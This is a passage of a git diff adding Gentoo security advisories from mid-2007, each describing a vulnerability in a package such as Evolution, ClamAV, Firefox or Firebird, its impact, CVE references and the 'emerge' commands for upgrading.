+  <resolution>
+    <p>
+    All libexif users should upgrade to the latest version. Please note
+    that users upgrading from "&lt;=media-libs/libexif-0.6.13" should also run
+    revdep-rebuild after their upgrade.
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/libexif-0.6.15&quot;
+    # revdep-rebuild --library=/usr/lib/libexif.so</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2645">CVE-2007-2645</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 05 Jun 2007 18:50:35 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 03 Jun 2007 06:19:11 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200706-02.xml b/xml/htdocs/security/en/glsa/glsa-200706-02.xml
new file mode 100644
index 00000000..5f8ee0a4
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200706-02.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200706-02">
+  <title>Evolution: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    A vulnerability has been discovered in Evolution allowing for the execution
+    of arbitrary code.
+  </synopsis>
+  <product type="ebuild">evolution</product>
+  <announced>June 06, 2007</announced>
+  <revised>June 06, 2007: 01</revised>
+  <bug>170879</bug>
+  <access>remote</access>
+  <affected>
+    <package name="mail-client/evolution" auto="yes" arch="*">
+      <unaffected range="ge">2.8.3-r2</unaffected>
+      <vulnerable range="lt">2.8.3-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Evolution is the mail client of the GNOME desktop environment.
+    </p>
+  </background>
+  <description>
+    <p>
+    Ulf Harnhammar from Secunia Research has discovered a format string
+    error in the write_html() function in the file
+    calendar/gui/e-cal-component-memo-preview.c.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted
+    shared memo, possibly resulting in the execution of arbitrary code with
+    the privileges of the user running Evolution.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Evolution users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-client/evolution-2.8.3-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1002">CVE-2007-1002</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 02 Jun 2007 07:29:21 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 03 Jun 2007 18:06:03 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 06 Jun 2007 20:42:46 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200706-03.xml b/xml/htdocs/security/en/glsa/glsa-200706-03.xml
new file mode 100644
index 00000000..adc00ab2
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200706-03.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200706-03">
+  <title>ELinks: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    A vulnerability has been discovered in ELinks allowing for the
+    user-assisted execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">elinks</product>
+  <announced>June 06, 2007</announced>
+  <revised>June 06, 2007: 01</revised>
+  <bug>177512</bug>
+  <access>local</access>
+  <affected>
+    <package name="www-client/elinks" auto="yes" arch="*">
+      <unaffected range="ge">0.11.2-r1</unaffected>
+      <vulnerable range="lt">0.11.2-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    ELinks is a text-mode web browser.
+    </p>
+  </background>
+  <description>
+    <p>
+    Arnaud Giersch discovered that the "add_filename_to_string()" function
+    in file intl/gettext/loadmsgcat.c uses an untrusted relative path,
+    allowing for a format string attack with a malicious .po file.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could entice a user to run ELinks in a specially
+    crafted directory environment containing a malicious ".po" file,
+    possibly resulting in the execution of arbitrary code with the
+    privileges of the user running ELinks.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ELinks users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/elinks-0.11.2-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2027">CVE-2007-2027</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 03 Jun 2007 06:18:54 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 03 Jun 2007 06:19:11 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 03 Jun 2007 17:56:00 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200706-04.xml b/xml/htdocs/security/en/glsa/glsa-200706-04.xml
new file mode 100644
index 00000000..d9306c44
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200706-04.xml
@@ -0,0 +1,74 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200706-04">
+  <title>MadWifi: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been discovered in MadWifi, possibly allowing
+    for the execution of arbitrary code or a Denial of Service.
+  </synopsis>
+  <product type="ebuild">madwifi-ng</product>
+  <announced>June 11, 2007</announced>
+  <revised>June 11, 2007: 01</revised>
+  <bug>179532</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-wireless/madwifi-ng" auto="yes" arch="*">
+      <unaffected range="ge">0.9.3.1</unaffected>
+      <vulnerable range="lt">0.9.3.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The MadWifi driver provides support for Atheros based IEEE 802.11
+    Wireless Lan cards.
+    </p>
+  </background>
+  <description>
+    <p>
+    Md Sohail Ahmad from AirTight Networks has discovered a divison by zero
+    in the ath_beacon_config() function (CVE-2007-2830). The vendor has
+    corrected an input validation error in the
+    ieee80211_ioctl_getwmmparams() and ieee80211_ioctl_getwmmparams()
+    functions(CVE-207-2831), and an input sanitization error when parsing
+    nested 802.3 Ethernet frame lengths (CVE-2007-2829).
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker could send specially crafted packets to a vulnerable host
+    to exploit one of these vulnerabilities, possibly resulting in the
+    execution of arbitrary code with root privileges, or a Denial of
+    Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All MadWifi users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-wireless/madwifi-ng-0.9.3.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2829">CVE-2007-2829</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2830">CVE-2007-2830</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2831">CVE-2007-2831</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 08 Jun 2007 06:19:00 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 10 Jun 2007 14:16:00 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 10 Jun 2007 14:16:10 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200706-05.xml b/xml/htdocs/security/en/glsa/glsa-200706-05.xml
new file mode 100644
index 00000000..64d7a37f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200706-05.xml
@@ -0,0 +1,85 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200706-05">
+  <title>ClamAV: Multiple Denials of Service</title>
+  <synopsis>
+    ClamAV contains several vulnerabilities leading to a Denial of Service.
+  </synopsis>
+  <product type="ebuild">clamav</product>
+  <announced>June 15, 2007</announced>
+  <revised>June 15, 2007: 01</revised>
+  <bug>178082</bug>
+  <access>remote, local</access>
+  <affected>
+    <package name="app-antivirus/clamav" auto="yes" arch="*">
+      <unaffected range="ge">0.90.3</unaffected>
+      <vulnerable range="lt">0.90.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    ClamAV is a GPL virus scanner.
+    </p>
+  </background>
+  <description>
+    <p>
+    Several vulnerabilities were discovered in ClamAV by various
+    researchers:
+    </p>
+    <ul><li>Victor Stinner (INL) discovered that the OLE2
+    parser may enter in an infinite loop (CVE-2007-2650).</li>
+    <li>A
+    boundary error was also reported by an anonymous researcher in the file
+    unsp.c, which might lead to a buffer overflow (CVE-2007-3023).</li>
+    <li>The file unrar.c contains a heap-based buffer overflow via a
+    modified vm_codesize value from a RAR file (CVE-2007-3123).</li>
+    <li>The RAR parsing engine can be bypassed via a RAR file with a header
+    flag value of 10 (CVE-2007-3122).</li>
+    <li>The cli_gentempstream()
+    function from clamdscan creates temporary files with insecure
+    permissions (CVE-2007-3024).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could send a specially crafted file to the scanner,
+    possibly triggering one of the vulnerabilities. The two buffer
+    overflows are reported to only cause Denial of Service. This would lead
+    to a Denial of Service by CPU consumption or a crash of the scanner.
+    The insecure temporary file creation vulnerability could be used by a
+    local user to access sensitive data.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ClamAV users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-antivirus/clamav-0.90.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2650">CVE-2007-2650</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3023">CVE-2007-3023</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3024">CVE-2007-3024</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3122">CVE-2007-3122</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3123">CVE-2007-3123</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 08 Jun 2007 06:17:07 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 10 Jun 2007 18:13:18 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 10 Jun 2007 18:15:09 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200706-06.xml b/xml/htdocs/security/en/glsa/glsa-200706-06.xml
new file mode 100644
index 00000000..adb269ec
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200706-06.xml
@@ -0,0 +1,149 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200706-06">
+  <title>Mozilla products: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been reported in Mozilla Firefox,
+    Thunderbird, SeaMonkey and XULRunner, some of which may allow user-assisted
+    arbitrary remote code execution.
+  </synopsis>
+  <product type="ebuild">mozilla-firefox,mozilla-thunderbird,mozilla-firefox-bin,mozilla-thunderbird-bin,seamonkey,seamonkey-bin,xulrunner</product>
+  <announced>June 19, 2007</announced>
+  <revised>June 19, 2007: 01</revised>
+  <bug>180436</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-client/mozilla-firefox" auto="yes" arch="*">
+      <unaffected range="ge">2.0.0.4</unaffected>
+      <vulnerable range="lt">2.0.0.4</vulnerable>
+    </package>
+    <package name="www-client/mozilla-firefox-bin" auto="yes" arch="*">
+      <unaffected range="ge">2.0.0.4</unaffected>
+      <vulnerable range="lt">2.0.0.4</vulnerable>
+    </package>
+    <package name="mail-client/mozilla-thunderbird" auto="yes" arch="*">
+      <unaffected range="ge">2.0.0.4</unaffected>
+      <unaffected range="rge">1.5.0.12</unaffected>
+      <vulnerable range="lt">2.0.0.4</vulnerable>
+    </package>
+    <package name="mail-client/mozilla-thunderbird-bin" auto="yes" arch="*">
+      <unaffected range="ge">2.0.0.4</unaffected>
+      <unaffected range="rge">1.5.0.12</unaffected>
+      <vulnerable range="lt">2.0.0.4</vulnerable>
+    </package>
+    <package name="www-client/seamonkey" auto="yes" arch="*">
+      <unaffected range="ge">1.1.2</unaffected>
+      <vulnerable range="lt">1.1.2</vulnerable>
+    </package>
+    <package name="www-client/seamonkey-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.1.2</unaffected>
+      <vulnerable range="lt">1.1.2</vulnerable>
+    </package>
+    <package name="net-libs/xulrunner" auto="yes" arch="*">
+      <unaffected range="ge">1.8.1.4</unaffected>
+      <vulnerable range="lt">1.8.1.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Mozilla Firefox is an open-source web browser from the Mozilla Project,
+    and Mozilla Thunderbird an email client. The SeaMonkey project is a
+    community effort to deliver production-quality releases of code derived
+    from the application formerly known as the 'Mozilla Application Suite'.
+    XULRunner is a Mozilla runtime package that can be used to bootstrap
+    XUL+XPCOM applications like Firefox and Thunderbird.
+    </p>
+  </background>
+  <description>
+    <p>
+    Mozilla developers fixed several bugs involving memory corruption
+    through various vectors (CVE-2007-2867, CVE-2007-2868). Additionally,
+    several errors leading to crash, memory exhaustion or CPU consumption
+    were fixed (CVE-2007-1362, CVE-2007-2869). Finally, errors related to
+    the APOP protocol (CVE-2007-1558), XSS prevention (CVE-2007-2870) and
+    spoofing prevention (CVE-2007-2871) were fixed.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to view a specially crafted web
+    page that will trigger one of the vulnerabilities, possibly leading to
+    the execution of arbitrary code or a Denial of Service. It is also
+    possible for an attacker to spoof the address bar or other browser
+    elements, obtain sensitive APOP information, or perform cross-site
+    scripting attacks, leading to the exposure of sensitive information,
+    like user credentials.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Mozilla Firefox users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/mozilla-firefox-2.0.0.4&quot;</code>
+    <p>
+    All Mozilla Firefox binary users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/mozilla-firefox-bin-2.0.0.4&quot;</code>
+    <p>
+    All Mozilla Thunderbird users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-client/mozilla-thunderbird-2.0.0.4&quot;</code>
+    <p>
+    All Mozilla Thunderbird binary users should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-client/mozilla-thunderbird-bin-2.0.0.4&quot;</code>
+    <p>
+    All SeaMonkey users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/seamonkey-1.1.2&quot;</code>
+    <p>
+    All SeaMonkey binary users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/seamonkey-bin-1.1.2&quot;</code>
+    <p>
+    All XULRunner users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-libs/xulrunner-1.8.1.4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1362">CVE-2007-1362</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1558">CVE-2007-1558</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2867">CVE-2007-2867</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2868">CVE-2007-2868</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2869">CVE-2007-2869</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2870">CVE-2007-2870</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2871">CVE-2007-2871</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 07 Jun 2007 21:58:45 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 11 Jun 2007 22:03:24 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 19 Jun 2007 21:03:22 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200706-07.xml b/xml/htdocs/security/en/glsa/glsa-200706-07.xml
new file mode 100644
index 00000000..14595836
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200706-07.xml
@@ -0,0 +1,75 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200706-07">
+  <title>PHProjekt: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been discovered in PHProjekt, allowing for
+    the execution of arbitrary PHP and SQL code, and cross-site scripting
+    attacks.
+  </synopsis>
+  <product type="ebuild">phprojekt</product>
+  <announced>June 19, 2007</announced>
+  <revised>June 19, 2007: 01</revised>
+  <bug>170905</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/phprojekt" auto="yes" arch="*">
+      <unaffected range="ge">5.2.1</unaffected>
+      <vulnerable range="lt">5.2.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    PHProjekt is a project management and coordination tool written in PHP.
+    </p>
+  </background>
+  <description>
+    <p>
+    Alexios Fakos from n.runs AG has discovered multiple vulnerabilities in
+    PHProjekt, including the execution of arbitrary SQL commands using
+    unknown vectors (CVE-2007-1575), the execution of arbitrary PHP code
+    using an unrestricted file upload (CVE-2007-1639), cross-site request
+    forgeries using different modules (CVE-2007-1638), and a cross-site
+    scripting attack using unkown vectors (CVE-2007-1576).
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An authenticated user could elevate their privileges by exploiting the
+    vulnerabilities described above. Note that the magic_quotes_gpc PHP
+    configuration setting must be set to "off" to exploit these
+    vulnerabilities.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All PHProjekt users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/phprojekt-5.2.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1575">CVE-2007-1575</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1576">CVE-2007-1576</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1638">CVE-2007-1638</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1639">CVE-2007-1639</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 07 Jun 2007 21:18:57 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 10 Jun 2007 13:59:19 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 10 Jun 2007 13:59:28 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200706-08.xml b/xml/htdocs/security/en/glsa/glsa-200706-08.xml
new file mode 100644
index 00000000..22cf7e65
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200706-08.xml
@@ -0,0 +1,78 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200706-08">
+  <title>emul-linux-x86-java: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been discovered in emul-linux-x86-java,
+    possibly resulting in the execution of arbitrary code or a Denial of
+    Service.
+  </synopsis>
+  <product type="ebuild">emul-linux-x86-java</product>
+  <announced>June 26, 2007</announced>
+  <revised>May 28, 2009: 03</revised>
+  <bug>178962</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-emulation/emul-linux-x86-java" auto="yes" arch="*">
+      <unaffected range="ge">1.5.0.11</unaffected>
+      <unaffected range="rge">1.4.2.16</unaffected>
+      <unaffected range="rge">1.4.2.17</unaffected>
+      <unaffected range="rge">1.4.2.19</unaffected>
+      <vulnerable range="lt">1.5.0.11</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    emul-linux-x86-java is the 32 bit version of the Sun's J2SE Development
+    Kit.
+    </p>
+  </background>
+  <description>
+    <p>
+    Chris Evans of the Google Security Team has discovered an integer
+    overflow in the ICC parser, and another vulnerability in the BMP
+    parser. An unspecified vulnerability involving an "incorrect use of
+    system classes" was reported by the Fujitsu security team.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted
+    image, possibly resulting in the execution of arbitrary code with the
+    privileges of the user running Emul-linux-x86-java. They also could
+    entice a user to open a specially crafted BMP image, resulting in a
+    Denial of Service. Note that these vulnerabilities may also be
+    triggered by a tool processing image files automatically.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Emul-linux-x86-java users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-emulation/emul-linux-x86-java-1.5.0.11&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2435">CVE-2007-2435</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2788">CVE-2007-2788</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2789">CVE-2007-2789</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 07 Jun 2007 21:24:22 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 10 Jun 2007 14:32:58 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 10 Jun 2007 14:33:07 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200706-09.xml b/xml/htdocs/security/en/glsa/glsa-200706-09.xml
new file mode 100644
index 00000000..af5a4068
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200706-09.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200706-09">
+  <title>libexif: Buffer overflow</title>
+  <synopsis>
+    libexif does not properly handle image EXIF information, possibly allowing
+    for the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">libexif</product>
+  <announced>June 26, 2007</announced>
+  <revised>June 26, 2007: 01</revised>
+  <bug>181922</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/libexif" auto="yes" arch="*">
+      <unaffected range="ge">0.6.16</unaffected>
+      <vulnerable range="lt">0.6.16</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    libexif is a library for parsing, editing and saving EXIF metadata from
+    images.
+    </p>
+  </background>
+  <description>
+    <p>
+    iDefense Labs have discovered that the exif_data_load_data_entry()
+    function in libexif/exif-data.c improperly handles integer data while
+    working with an image with many EXIF components, allowing an integer
+    overflow possibly leading to a heap-based buffer overflow.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a user of an application making use of a
+    vulnerable version of libexif to load a specially crafted image file,
+    possibly resulting in a crash of the application or the execution of
+    arbitrary code with the rights of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All libexif users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/libexif-0.6.16&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4168">CVE-2006-4168</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 16 Jun 2007 06:17:21 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 16 Jun 2007 06:17:44 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 19 Jun 2007 02:58:18 +0000">
+    shellsage
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200707-01.xml b/xml/htdocs/security/en/glsa/glsa-200707-01.xml
new file mode 100644
index 00000000..328e2259
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200707-01.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200707-01">
+  <title>Firebird: Buffer overflow</title>
+  <synopsis>
+    A vulnerability has been discovered in Firebird, allowing for the execution
+    of arbitrary code.
+  </synopsis>
+  <product type="ebuild">firebird</product>
+  <announced>July 01, 2007</announced>
+  <revised>July 01, 2007: 01</revised>
+  <bug>181811</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-db/firebird" auto="yes" arch="*">
+      <unaffected range="ge">2.0.1</unaffected>
+      <vulnerable range="lt">2.0.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Firebird is an open source relational database that runs on Linux,
+    Windows, and various UNIX systems.
+    </p>
+  </background>
+  <description>
+    <p>
+    Cody Pierce from TippingPoint DVLabs has discovered a buffer overflow
+    when processing "connect" requests with an overly large "p_cnct_count"
+    value.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An unauthenticated remote attacker could send a specially crafted
+    request to a vulnerable server, possibly resulting in the execution of
+    arbitrary code with the privileges of the user running Firebird.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Firebird users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-db/firebird-2.0.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3181">CVE-2007-3181</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Mon, 25 Jun 2007 19:06:37 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 26 Jun 2007 18:04:58 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200707-02.xml b/xml/htdocs/security/en/glsa/glsa-200707-02.xml
new file mode 100644
index 00000000..35d3cf10
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200707-02.xml
@@ -0,0 +1,82 @@
